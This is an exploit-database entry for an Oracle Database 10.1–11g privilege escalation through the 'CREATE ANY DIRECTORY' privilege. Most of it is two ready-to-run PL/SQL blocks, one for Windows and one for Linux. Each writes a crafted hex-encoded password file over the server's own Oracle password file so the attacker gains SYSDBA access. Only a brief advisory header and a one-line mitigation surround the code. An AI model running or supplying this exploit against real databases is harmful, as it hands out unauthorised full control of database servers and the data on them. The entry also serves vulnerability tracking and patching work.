Oracle Database Server Privilege Escalation Vulnerability

vendor:

Database Server

by:

SecurityFocus

7.2

CVSS

HIGH

Privilege Escalation

264

CWE

Product Name: Database Server

Affected Version From: Oracle Database 10.1

Affected Version To: Oracle Database 11g

Patch Exists: NO

Related CWE: N/A

CPE: oracle:database_server

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2008

Oracle Database Server Privilege Escalation Vulnerability

Oracle Database Server is prone to a privilege-escalation issue related to the 'CREATE ANY DIRECTORY' user privilege. Attackers may exploit this issue to gain full SYSDBA privileges on the vulnerable database server.

Mitigation:

Users should remove the 'CREATE ANY DIRECTORY' privilege from all users.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/31738/info

Oracle Database Server is prone to a privilege-escalation issue related to the 'CREATE ANY DIRECTORY' user privilege.

Attackers may exploit this issue to gain full SYSDBA privileges on the vulnerable database server.

This issue affects Oracle Database 10.1, 10.2, and 11g; additional versions may also be vulnerable.

--note windows adds 0D 0A to end as cTRL LF
--WINDOWS VERSION 10.1
DECLARE fi UTL_FILE.FILE_TYPE;
bu RAW(32767);
bu2 varchar2(32767);
bu3 varchar2(32767);
BEGIN
bu2:=hextoraw('000000000000000000000000000000000000000000020000020000005d5c5b5a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004f5241434c452052656d6f74652050617373776f72642066696c650000001b004f52434c000000000000000000000000000000000000000000000000000004000100000000000000000000000000000000000000000000000000000000000000494e5445524e414c000000000000000000000000000000000000000000000000080000003736394330434438343946394238423200000000000000000000000000000000100000000f000000000000000000000000000000000000000000000000000000000000005359530000000000000000000000000000000000000000000000000000000000030000003536333832323844414635323830354600000000000000000000000000000000100000000f');
bu3:=hextoraw('0000000000000000000000000000000000000000000000000000000000000000000000000000000782af445359534d414e0000000000000000000000000000000000000000000000000000060000004138443641453346343145463931454100000000000000000000000000000000100000000b0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004344544553540000000000000000000000000000000000000000000000000000060000003134383041443332443038423045433900000000000000000000000000000000100000000b0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000');
bu := hextoraw(bu2||bu3);
fi:=UTL_FILE.fopen('TESTPASS','PWDorcl.ora','w',32767);
UTL_FILE.put_raw(fi,bu,TRUE);
UTL_FILE.fclose(fi);
END;
/

--linux adds 0A as LF
--LINUX VERSION 10.2.0.1
DECLARE fi UTL_FILE.FILE_TYPE;
bu RAW(32767);
bu2 varchar2(32767);
bu3 varchar2(32767);
BEGIN
bu2:=hextoraw('000000000000000000000000000000000000000000020000020000005d5c5b5a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004f5241434c452052656d6f74652050617373776f72642066696c650000001b004f52434c000000000000000000000000000000000000000000000000000004000100000000000000000000000000000000000000000000000000000000000000494e5445524e414c000000000000000000000000000000000000000000000000080000003736394330434438343946394238423200000000000000000000000000000000100000000f000000000000000000000000000000000000000000000000000000000000005359530000000000000000000000000000000000000000000000000000000000030000003536333832323844414635323830354600000000000000000000000000000000100000000f');
bu3:=hextoraw('0000000000000000000000000000000000000000000000000000000000000000000000000000000782af445359534d414e0000000000000000000000000000000000000000000000000000060000004138443641453346343145463931454100000000000000000000000000000000100000000b0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004344544553540000000000000000000000000000000000000000000000000000060000003134383041443332443038423045433900000000000000000000000000000000100000000b000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000');
bu := hextoraw(bu2||bu3);
fi:=UTL_FILE.fopen('TESTPASS','orapworcl','w',32767);
UTL_FILE.put_raw(fi,bu,TRUE);
UTL_FILE.fclose(fi);
END;
/